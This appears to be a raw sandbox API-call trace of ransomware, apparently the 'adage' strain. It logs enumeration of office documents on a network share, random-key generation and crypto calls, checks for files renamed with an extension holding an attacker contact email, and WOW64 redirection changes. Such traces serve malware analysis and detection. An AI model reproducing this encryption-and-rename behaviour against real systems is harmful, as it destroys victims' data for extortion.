CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\IyGa2UNby.ots" (normalized: "\\\\192.168.0.1\\documents\\iyga2unby.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.979] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x33cfa18 | out: pbBuffer=0x33cfa18) returned 1 [0140.979] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Z5eu5ng8aXBTiqaLM.odt" (normalized: "\\\\192.168.0.1\\documents\\z5eu5ng8axbtiqalm.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0140.995] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x33cf9b0 | out: lpFileSize=0x33cf9b0*=39779) returned 1 [0140.995] CloseHandle (hObject=0x2b0) returned 1 [0140.995] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Z5eu5ng8aXBTiqaLM.odt" (normalized: "\\\\192.168.0.1\\documents\\z5eu5ng8axbtiqalm.odt")) returned 0x80 [0140.995] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Z5eu5ng8aXBTiqaLM.odt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\z5eu5ng8axbtiqalm.odt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0140.996] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Z5eu5ng8aXBTiqaLM.odt" (normalized: "\\\\192.168.0.1\\documents\\z5eu5ng8axbtiqalm.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0141.071] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x33cfa18 | out: pbBuffer=0x33cfa18) returned 1 [0141.071] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\y4KxErTVQYWoCrSXjxG.odt" (normalized: "\\\\192.168.0.1\\documents\\y4kxertvqywocrsxjxg.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0141.084] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x33cf9b0 | out: lpFileSize=0x33cf9b0*=88174) returned 1 [0141.084] CloseHandle (hObject=0x2b0) returned 1 [0141.084] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\y4KxErTVQYWoCrSXjxG.odt" (normalized: "\\\\192.168.0.1\\documents\\y4kxertvqywocrsxjxg.odt")) returned 0x80 [0141.085] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\y4KxErTVQYWoCrSXjxG.odt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\y4kxertvqywocrsxjxg.odt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0141.085] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\y4KxErTVQYWoCrSXjxG.odt" (normalized: "\\\\192.168.0.1\\documents\\y4kxertvqywocrsxjxg.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0141.130] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x33cfa18 | out: pbBuffer=0x33cfa18) returned 1 [0141.130] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\dUSDGqr.odt" (normalized: "\\\\192.168.0.1\\documents\\dusdgqr.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0141.154] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x33cf9b0 | out: lpFileSize=0x33cf9b0*=23398) returned 1 [0141.154] CloseHandle (hObject=0x2b0) returned 1 [0141.155] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\dUSDGqr.odt" (normalized: "\\\\192.168.0.1\\documents\\dusdgqr.odt")) returned 0x80 [0141.155] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\dUSDGqr.odt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\dusdgqr.odt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0141.155] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\dUSDGqr.odt" (normalized: "\\\\192.168.0.1\\documents\\dusdgqr.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0141.180] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x33cfa18 | out: pbBuffer=0x33cfa18) returned 1 [0141.180] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Khw7ULNZgmj8e7C.ots" (normalized: "\\\\192.168.0.1\\documents\\khw7ulnzgmj8e7c.ots"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0141.197] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x33cf9b0 | out: lpFileSize=0x33cf9b0*=87110) returned 1 [0141.197] CloseHandle (hObject=0x2b0) returned 1 [0141.197] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Khw7ULNZgmj8e7C.ots" (normalized: "\\\\192.168.0.1\\documents\\khw7ulnzgmj8e7c.ots")) returned 0x80 [0141.197] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Khw7ULNZgmj8e7C.ots.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\khw7ulnzgmj8e7c.ots.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0141.197] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Khw7ULNZgmj8e7C.ots" (normalized: "\\\\192.168.0.1\\documents\\khw7ulnzgmj8e7c.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0141.229] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x33cfa18 | out: pbBuffer=0x33cfa18) returned 1 [0141.229] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\BJt1dICMT7jI.odt" (normalized: "\\\\192.168.0.1\\documents\\bjt1dicmt7ji.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0141.249] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x33cf9b0 | out: lpFileSize=0x33cf9b0*=58061) returned 1 [0141.249] CloseHandle (hObject=0x2b0) returned 1 [0141.249] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\BJt1dICMT7jI.odt" (normalized: "\\\\192.168.0.1\\documents\\bjt1dicmt7ji.odt")) returned 0x80 [0141.250] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\BJt1dICMT7jI.odt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\bjt1dicmt7ji.odt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0141.250] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\BJt1dICMT7jI.odt" (normalized: "\\\\192.168.0.1\\documents\\bjt1dicmt7ji.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0141.291] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x33cfa18 | out: pbBuffer=0x33cfa18) returned 1 [0141.291] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Ad6eYrGeF6ADM39N.odt" (normalized: "\\\\192.168.0.1\\documents\\ad6eyrgef6adm39n.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0141.301] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x33cf9b0 | out: lpFileSize=0x33cf9b0*=59716) returned 1 [0141.301] CloseHandle (hObject=0x2b4) returned 1 [0141.301] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Ad6eYrGeF6ADM39N.odt" (normalized: "\\\\192.168.0.1\\documents\\ad6eyrgef6adm39n.odt")) returned 0x80 [0141.301] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Ad6eYrGeF6ADM39N.odt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\ad6eyrgef6adm39n.odt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0141.301] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Ad6eYrGeF6ADM39N.odt" (normalized: "\\\\192.168.0.1\\documents\\ad6eyrgef6adm39n.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0141.745] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x50) returned 0x1d5460 [0141.745] CryptImportKey (in: hProv=0x8450c0, pbData=0x33cf958*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x33cf9c0 | out: phKey=0x33cf9c0*=0x8717e0) returned 1 [0141.745] CryptSetKeyParam (hKey=0x8717e0, dwParam=0x1, pbData=0x33cf9a8, dwFlags=0x0) returned 1 [0141.745] CryptDecrypt (in: hKey=0x8717e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d5460, pdwDataLen=0x33cf974 | out: pbData=0x1d5460, pdwDataLen=0x33cf974) returned 1 [0141.745] CryptDestroyKey (hKey=0x8717e0) returned 1 [0141.745] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x753b0000 [0141.746] GetProcAddress (hModule=0x753b0000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x753dd638 [0141.746] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0141.746] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5460 | out: hHeap=0x1d0000) returned 1 [0141.746] SetEvent (hEvent=0x224) returned 1 [0141.746] SetEvent (hEvent=0x104) returned 1 [0141.746] SetEvent (hEvent=0x228) returned 1 [0141.756] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x34f0020 | out: hHeap=0x1d0000) returned 1 [0141.756] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x2167100 | out: hHeap=0x1d0000) returned 1 [0141.757] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x21c0428 | out: hHeap=0x1d0000) returned 1 [0141.757] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x21d0430 | out: hHeap=0x1d0000) returned 1 Thread: id = 129 os_tid = 0x4f4 [0139.584] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x10000) returned 0x21e0438 [0139.584] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x10000) returned 0x21f0440 [0139.585] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x28) returned 0x2167130 [0139.585] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x110102) returned 0x3750020 [0139.585] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x50) returned 0x1d5430 [0139.585] CryptImportKey (in: hProv=0x8450c0, pbData=0x34efe30*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34efe98 | out: phKey=0x34efe98*=0x871860) returned 1 [0139.585] CryptSetKeyParam (hKey=0x871860, dwParam=0x1, pbData=0x34efe80, dwFlags=0x0) returned 1 [0139.585] CryptDecrypt (in: hKey=0x871860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d5430, pdwDataLen=0x34efe4c | out: pbData=0x1d5430, pdwDataLen=0x34efe4c) returned 1 [0139.585] CryptDestroyKey (hKey=0x871860) returned 1 [0139.585] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x753b0000 [0139.586] GetProcAddress (hModule=0x753b0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x753dd620 [0139.586] Wow64DisableWow64FsRedirection (in: OldValue=0x34efee8 | out: OldValue=0x34efee8*=0x0) returned 1 [0139.586] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5430 | out: hHeap=0x1d0000) returned 1 [0139.586] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.587] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.587] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.587] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.587] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.587] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.587] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.587] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.587] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.587] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.587] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.587] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.587] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.588] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.588] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.588] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.588] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.588] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.588] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.588] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.589] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.589] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.589] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.589] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.589] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.589] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.589] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.589] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.589] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.589] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.589] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.589] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.590] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.590] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.590] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.590] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.590] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.590] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.590] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.590] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.590] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.590] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.590] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.591] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.591] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.591] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.591] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.591] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.591] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.591] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.591] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.591] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.591] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.591] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.592] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.592] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.592] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.592] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.592] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.592] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.592] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.592] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.592] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.593] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.593] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.593] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.593] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.593] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.593] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.593] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.593] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.593] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.593] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.593] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.594] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.594] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.594] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.594] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.594] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.594] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.594] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.594] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.594] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.595] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.595] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.595] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.595] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.595] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.595] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.595] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.595] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.595] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.595] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.596] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.596] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.596] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.596] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.596] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.596] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.596] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.596] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.596] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.596] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.596] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.596] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.597] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.597] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.597] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.597] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.597] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.597] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.597] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.597] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.597] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.598] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.598] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.598] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.598] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.598] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.598] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.599] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.599] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.599] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.599] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.599] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.599] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.599] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.599] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.599] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.599] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.600] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.600] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.600] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.600] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.600] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.600] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.600] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.600] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.600] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.600] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.601] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.601] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.601] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.601] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.601] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.601] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.601] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.602] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.602] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.602] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.602] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.602] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.602] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.602] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.602] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.602] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.603] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.603] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.603] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.603] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.603] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.603] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.603] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.603] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0139.603] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 